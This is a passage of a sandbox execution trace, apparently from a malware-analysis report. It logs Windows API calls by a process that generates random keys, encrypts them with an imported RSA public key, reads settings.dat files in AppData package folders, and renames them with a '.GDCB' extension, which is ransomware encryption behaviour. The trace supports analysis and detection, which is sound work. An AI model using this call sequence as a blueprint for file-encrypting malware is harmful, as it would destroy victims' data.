phKey=0x285d4b8*=0x648ab40) returned 1 [0212.813] CryptGetKeyParam (in: hKey=0x648ab40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.813] CryptEncrypt (in: hKey=0x648ab40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7010000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7010000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.813] GetLastError () returned 0x0 [0212.813] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.814] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.833] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.835] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.836] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.836] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.836] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.836] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0212.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.838] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.838] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.838] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.838] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0212.841] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648af80) returned 1 [0212.842] CryptGetKeyParam (in: hKey=0x648af80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.842] CryptEncrypt (in: hKey=0x648af80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7020000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7020000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.842] GetLastError () returned 0x0 [0212.842] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.842] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0212.843] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a940) returned 1 [0212.844] CryptGetKeyParam (in: hKey=0x648a940, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.844] CryptEncrypt (in: hKey=0x648a940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7030000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7030000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.844] GetLastError () returned 0x0 [0212.844] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0212.844] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\LocalState\\_sessionState.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\localstate\\_sessionstate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.868] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0212.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.871] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.871] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.871] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0212.871] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.873] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.873] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.873] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.875] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ac40) returned 1 [0212.875] CryptGetKeyParam (in: hKey=0x648ac40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.875] CryptEncrypt (in: hKey=0x648ac40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7040000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7040000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.875] GetLastError () returned 0x0 [0212.875] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.876] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0212.877] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b000) returned 1 [0212.877] CryptGetKeyParam (in: hKey=0x648b000, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.877] CryptEncrypt (in: hKey=0x648b000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7050000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7050000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.878] GetLastError () returned 0x0 [0212.878] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.878] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0212.879] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7060000 [0212.881] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7070000 [0212.882] ReadFile (in: hFile=0x510, lpBuffer=0x7070000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7070000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0213.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7180000 [0213.155] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 0 [0213.183] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0213.185] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.186] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.186] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0213.186] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0213.186] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0213.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.189] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0213.189] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.189] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0213.191] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648aa00) returned 1 [0213.191] CryptGetKeyParam (in: hKey=0x648aa00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.191] CryptEncrypt (in: hKey=0x648aa00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7040000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7040000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0213.192] GetLastError () returned 0x0 [0213.192] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0213.192] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0213.193] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a980) returned 1 [0213.193] CryptGetKeyParam (in: hKey=0x648a980, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.194] CryptEncrypt (in: hKey=0x648a980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7050000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7050000*, pdwDataLen=0x285d630*=0x100) returned 1 [0213.194] GetLastError () returned 0x0 [0213.194] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0213.194] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0213.195] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7060000 [0213.197] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7070000 [0213.198] ReadFile (in: hFile=0x510, lpBuffer=0x7070000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7070000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0213.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7180000 [0213.450] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0213.475] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0213.477] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.478] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0213.478] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0213.478] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0213.480] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.480] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.481] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0213.481] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.481] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0213.483] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a9c0) returned 1 [0213.483] CryptGetKeyParam (in: hKey=0x648a9c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.483] CryptEncrypt (in: hKey=0x648a9c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7040000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7040000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0213.483] GetLastError () returned 0x0 [0213.483] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.483] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0213.485] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648aa40) returned 1 [0213.485] CryptGetKeyParam (in: hKey=0x648aa40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.485] CryptEncrypt (in: hKey=0x648aa40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7050000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7050000*, pdwDataLen=0x285d630*=0x100) returned 1 [0213.485] GetLastError () returned 0x0 [0213.485] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.485] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0213.487] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7060000 [0213.488] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7070000 [0213.489] ReadFile (in: hFile=0x510, lpBuffer=0x7070000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7070000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0213.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7180000 [0213.596] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0213.708] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0213.710] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.711] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.711] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0213.711] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0213.711] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0213.713] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.714] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.714] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0213.714] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.714] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0213.716] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648acc0) returned 1 [0213.716] CryptGetKeyParam (in: hKey=0x648acc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.716] CryptEncrypt (in: hKey=0x648acc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7040000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7040000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0213.716] GetLastError () returned 0x0 [0213.716] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0213.716] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0213.718] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648adc0) returned 1 [0213.718] CryptGetKeyParam (in: hKey=0x648adc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.718] CryptEncrypt (in: hKey=0x648adc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7050000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7050000*, pdwDataLen=0x285d630*=0x100) returned 1 [0213.718] GetLastError () returned 0x0 [0213.718] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0213.718] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.766] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0213.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.769] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0213.769] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0213.769] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0213.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0213.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0213.771] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0213.771] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.771] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0213.774] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ae40) returned 1 [0213.774] CryptGetKeyParam (in: hKey=0x648ae40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0213.774] CryptEncrypt (in: hKey=0x648ae40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7060000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7060000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0213.774] GetLastError () returned 0x0 [0213.774] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0213.774] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0213.776] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ad00) returned 1 [0213.776] CryptGetKeyParam (in: 